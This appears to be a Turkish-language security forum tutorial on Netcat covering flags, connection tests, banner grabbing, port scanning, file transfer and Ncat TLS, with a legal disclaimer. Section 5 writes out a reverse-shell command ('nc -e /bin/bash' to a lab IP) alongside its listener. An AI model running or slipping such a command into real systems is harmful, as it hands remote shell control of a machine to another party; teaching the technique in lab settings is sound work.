Konuyu Okuyanlar: 1 Ziyaretçi

Netcat (nc) Rehberi: Bağlantı, Dinleme, Port Tarama ve Dosya Transferi

Netcat (nc) Rehberi: Bağlantı, Dinleme, Port Tarama ve Dosya Transferi
Selam TurkTeam,

Netcat, çoğu zaman "ağların İsviçre çakısı" diye anılır; TCP ve UDP üzerinde ham veri okuyup yazabilen, küçük ama olağanüstü esnek bir araçtır. Bir sızma testçisi için bağlantı kurmaktan ters kabuk (reverse shell) dinlemeye, dosya transferinden basit port taramaya kadar pek çok işin bel kemiğidir. Bu rehberde nc'yi temelden ileriye, gerçek komutlarla ele alıyoruz.

Konuda Anlatılacaklar
  1. Netcat nedir, hangi sürümleri vardır (traditional, OpenBSD, Ncat)
  2. İstemci/sunucu mantığı ve temel bağlantı
  3. Parametre referansı
  4. Uygulamalı: dinleme, banner grabbing, port tarama, dosya transferi
  5. Ters ve bağlanan (bind) kabuk mantığı
  6. İleri seviye: Ncat ve TLS, kalıcı dinleyici
  7. Sonuç, kaynakça ve yasal uyarı

1. Netcat Nedir?
Netcat (nc), standart giriş/çıkış ile bir TCP veya UDP soketi arasında veri taşıyan bir komut satırı aracıdır. Klavyeden yazdığınızı ağa, ağdan geleni ekrana aktarır. Bu basitlik, onu her türlü ağ hata ayıklaması ve veri aktarımı için evrensel kılar.

Birden fazla sürümü vardır ve bayrakları biraz farklılık gösterir:
  • netcat-traditional: Eski GNU sürümü, -e (komut çalıştırma) destekler.
  • netcat-openbsd: Kali/Parrot ve Debian'da varsayılan; -e yoktur, daha güvenlidir.
  • Ncat: Nmap projesinin modern yeniden yazımı; TLS, proxy ve erişim kontrolü sunar.
Hangi sürümün kurulu olduğunu kontrol edin:
Kod:
nc -h 2>&1 | head -n 1 which nc ncat

2. Kurulum
Kod:
sudo apt update sudo apt install netcat-openbsd nmap # ncat, nmap paketiyle gelir

3. Parametre Referansı
-l - Dinleme (listen) modu; gelen bağlantıyı bekler:
Kod:
nc -l -p 4444

-v / -vv - Ayrıntılı çıktı (verbose):
Kod:
nc -v HEDEF 80

-n - DNS çözümlemesini atla (yalnızca IP), daha hızlı:
Kod:
nc -nv 192.168.56.101 22

-p - Kaynak/dinleme portu belirtme:
Kod:
nc -lvp 4444

-u - TCP yerine UDP:
Kod:
nc -u 192.168.56.101 53

-z - Veri göndermeden yalnızca port durumu sınama (tarama):
Kod:
nc -zv 192.168.56.101 20-25

-w - Zaman aşımı (saniye):
Kod:
nc -zv -w 2 192.168.56.101 80

-k - (OpenBSD/Ncat) Bağlantı kapansa da dinlemeye devam et:
Kod:
nc -lk -p 4444

4. Uygulamalı Adımlar
Adım 1 - Basit sohbet / bağlantı testi. Bir makinede dinleyici açın:
Kod:
nc -lvp 4444
Diğerinden bağlanın:
Kod:
nc -nv 192.168.56.101 4444
Artık yazdığınız her satır karşı tarafta görünür. Bu, iki uç arasında ham TCP kanalının çalıştığını doğrular.
[Resim: attachment.php?aid=131]

Adım 2 - Banner grabbing (servis parmak izi). Bir servise bağlanıp verdiği karşılama bannerını okuyabilirsiniz:
Kod:
nc -nv 192.168.56.101 21
FTP sunucusu şuna benzer bir banner döndürür:
Kod:
220 (vsFTPd 2.3.4)
Bu satır servisin türünü ve sürümünü ele verir; keşif aşamasında çok değerlidir.

Adım 3 - HTTP isteğini elle gönderme.
Kod:
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc -nv 192.168.56.101 80
Dönen yanıtta Server başlığı (örn. Apache/2.2.8) web sunucusunu tanımlar.

Adım 4 - Basit port tarama. Kapsamlı tarama için Nmap daha uygundur, ancak hızlı bir kontrol için:
Kod:
nc -zvn -w 1 192.168.56.101 20-100 2>&1 | grep succeeded
"Connection to 192.168.56.101 22 port [tcp/*] succeeded!" satırları açık portları gösterir.


Adım 5 - Dosya transferi. Alıcı tarafta dinleyip dosyayı yazdırın:
Kod:
# Alıcı nc -lvp 4444 > gelen.tar.gz
Kod:
# Gönderen nc -nv 192.168.56.101 4444 < gonderilecek.tar.gz
Transfer bitince bağlantıyı kapatın (OpenBSD'de gönderen tarafta -N ile EOF sonrası kapatma işe yarar). Bütünlüğü doğrulamak için iki uçta sha256sum karşılaştırın:
Kod:
sha256sum gonderilecek.tar.gz gelen.tar.gz

5. Ters ve Bind Kabuk Mantığı
Netcat'in en bilinen kullanımı kabuk taşımaktır. Mantığı anlamak önemlidir:
  • Bind shell: Hedef bir portta kabuğu dinletir, siz ona bağlanırsınız. Giden bağlantıların engellendiği, gelenlerin serbest olduğu durumlarda.
  • Reverse shell: Hedef size doğru bağlanır; güvenlik duvarları genelde gidişe izin verdiği için pratikte daha çok kullanılır.
OpenBSD nc'de -e olmadığından, lab ortamında klasik örnek şöyle gösterilir (yalnızca kendi sisteminizde):
Kod:
# Saldırgan (dinleyici) nc -lvnp 4444 # Hedef (traditional netcat ile) nc -e /bin/bash 192.168.56.102 4444
Bağlantı kurulunca dinleyici terminalinde hedefin kabuğu açılır.
OpenBSD nc'de -e yoksa FIFO ile aynı etki elde edilebilir; bu, tekniği anlamak için faydalı bir alıştırmadır.

6. İleri Seviye: Ncat ile TLS ve Erişim Kontrolü
Ncat, klasik netcat'in eksiklerini kapatır. Şifreli bir kanal için:
Kod:
# Sunucu ncat --ssl -lvp 4444 # İstemci ncat --ssl 192.168.56.101 4444
Yalnızca belirli bir kaynaktan bağlantı kabul etmek için:
Kod:
ncat -lvp 4444 --allow 192.168.56.102
Kalıcı, çok istemcili dinleyici:
Kod:
ncat -lvkp 4444

6.1. Pratik Senaryolar ve Sık Hatalar
Günlük kullanımda işinize yarayacak birkaç ek senaryo ve dikkat noktası:
  • Dinleyici açılmıyor: Port zaten kullanımda olabilir. Kontrol edin:
    Kod:
    ss -tlnp | grep 4444
  • Bağlantı hemen kapanıyor: Gönderen tarafta EOF sonrası soketi kapatmak için OpenBSD nc'de -N bayrağını ekleyin:
    Kod:
    nc -N 192.168.56.101 4444 < dosya
  • UDP testi: DNS gibi UDP servislerinde -u kullanın; UDP bağlantısız olduğu için "açık" teyidi TCP kadar kesin değildir:
    Kod:
    nc -uvz 192.168.56.101 53
  • Dizini topluca aktarma: Netcat tek dosya mantığıyla çalışır; bir dizini göndermek için tar ile boru kullanın:
    Kod:
    tar czf - klasor/ | nc -N 192.168.56.101 4444
    karşı tarafta
    Kod:
    nc -lvp 4444 | tar xzf -
  • Güvenlik notu: Netcat trafiği şifresizdir; hassas veriyi ancak izole lab ağında veya Ncat --ssl ile taşıyın.

Sonuç
Netcat, az sayıda bayrakla çok iş gören bir araçtır: bağlantı testi, banner grabbing, hızlı port kontrolü ve dosya transferi günlük işlerinizi kolaylaştırır. Ciddi işler için OpenBSD nc yerine özellik bakımından zengin Ncat'i tercih edin. Aracın her bayrağını bir lab'da denemeden ezberlemeyin; en kalıcı öğrenme pratiktir.

Kaynakça
Yasal Uyarı
Alıntı:Buradaki tüm teknikler yalnızca kendi sistemleriniz veya yazılı izin aldığınız sistemler içindir. Ters kabuk, bind kabuk ve benzeri yöntemlerin izinsiz kullanımı Türk Ceza Kanunu 243-245. maddeleri uyarınca suçtur.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).


Ek DosyalarEkran Görüntüleri
   
Cevapla



Hızlı Menü: